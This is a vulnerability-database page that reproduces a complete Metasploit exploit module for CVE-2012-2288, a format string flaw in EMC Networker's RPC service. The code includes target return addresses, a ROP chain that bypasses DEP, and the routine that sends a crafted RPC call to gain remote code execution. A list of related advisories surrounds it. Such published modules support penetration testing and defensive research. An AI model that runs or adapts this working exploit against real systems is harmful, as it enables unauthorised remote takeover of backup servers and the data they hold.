Lucene search
K

EMC Networker Format String

Exploit EMC Networker Format String vulnerability through specially crafted RPC call to program number 0x5F3DD, version 0x02, procedure 0x06. Tested on EMC Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2

Related
Code
ReporterTitlePublishedViews
Family
0day.today
EMC Networker Format String Vulnerability
6 Nov 201200:00
zdt
Circl
CVE-2012-2288
7 Nov 201200:00
circl
Check Point Advisories
EMC NetWorker nsrd Stack Buffer Overflow (CVE-2012-2288)
5 Dec 201200:00
checkpoint_advisories
Check Point Advisories
EMC NetWorker nsrd Format String Remote Code Execution (CVE-2012-2288)
14 Oct 201200:00
checkpoint_advisories
CVE
CVE-2012-2288
4 Sep 201210:00
cve
Cvelist
CVE-2012-2288
4 Sep 201210:00
cvelist
Exploit DB
EMC NetWorker - Format String (Metasploit)
7 Nov 201200:00
exploitdb
canvas
Immunity Canvas: EMC_NETWORKERFS
4 Sep 201211:04
canvas
NVD
CVE-2012-2288
4 Sep 201211:04
nvd
Packet Storm
EMC Networker Format String
6 Nov 201200:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SunRPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC Networker Format String',
      'Description'    => %q{
          This module exploits a format string vulnerability in the lg_sprintf function
        as implemented in liblocal.dll on EMC Networker products. This module exploits the
        vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
        version 0x02, and procedure 0x06. This module has been tested successfully on EMC
        Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
      },
      'Author'         =>
        [
          'Aaron Portnoy', # Vulnerability Discovery and analysis
          'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-2288' ],
          [ 'OSVDB', '85116' ],
          [ 'BID', '55330' ],
          [ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
        ],
      'Platform'       => [ 'win' ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0d\x0a\x25\x2a",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Targets'        =>
        [
          ['EMC Networker 7.6 SP3 / Windows Universal',
            {
              'Ret' => 0x7c354dac, # ret from MSVCR71.dll
              'Offset' => 156,
              'DEP' => true
            }
          ],
          ['EMC Networker 7.6 SP3 / Windows XP SP3',
            {
              'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
              'Offset' => 156,
              'DEP' => false
            }
          ],
          ['EMC Networker 7.6 SP3 / Windows 2003 SP2',
            {
              'Ret' => 0x7c354dac, # ret from MSVCR71.dll
              'Offset' => 156,
              'DEP' => true
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => '2012-08-29'))

  end

  def exploit

    begin
      sunrpc_create('tcp', 0x5F3DD, 2)

      fs = "%n" * target['Offset']
      fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
      if target['DEP']
        rop_gadgets =
          [
            # rop chain generated with mona.py
            # The RopDb mixin isn't used because there are badchars
            # which must be avoided
            0x7c354dab,	# POP EBP # RETN [MSVCR71.dll]
            0x7c354dab,	# skip 4 bytes [MSVCR71.dll]
            0x7c37678f,	# POP EAX # RETN [MSVCR71.dll]
            0xfffffdff,	# Value to negate, will become 0x00000201
            0x7c34d749,	# NEG EAX # RETN [MSVCR71.dll]
            0x7c362688,	# POP EBX # RETN [MSVCR71.dll]
            0xffffffff,	#
            0x7c345255,	# INC EBX # FPATAN # RETN [MSVCR71.dll]
            0x7c363cff,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
            0x7c34592b,	# POP EDX # RETN [MSVCR71.dll]
            0xffffffc0,	# Value to negate, will become 0x00000040
            0x7c351eb1,	# NEG EDX # RETN [MSVCR71.dll]
            0x7c37765f,	# POP ECX # RETN [MSVCR71.dll]
            0x7c38ecfe,	# &Writable location [MSVCR71.dll]
            0x7c34a490,	# POP EDI # RETN [MSVCR71.dll]
            0x7c347f98,	# RETN (ROP NOP) [MSVCR71.dll]
            0x7c364612,	# POP ESI # RETN [MSVCR71.dll]
            0x7c3415a2,	# JMP [EAX] [MSVCR71.dll]
            0x7c344cc1,	# POP EAX # RETN [MSVCR71.dll]
            0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
            0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
            0x7c345c30,	# ptr to 'push esp #  ret ' [MSVCR71.dll]
          ].pack("V*")
        fs << rop_gadgets
      end
      fs << payload.encoded

      xdr = Rex::Encoder::XDR.encode(0, 2, rand_text_alpha(10), Rex::Encoder::XDR.encode(fs, rand_text_alpha(10)), 2)
      sunrpc_call(6, xdr)
      sunrpc_destroy

    rescue Rex::Proto::SunRPC::RPCTimeout
      print_error('RPCTimeout')
    rescue EOFError
      print_error('EOFError')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 29.3
EPSS0.69925
20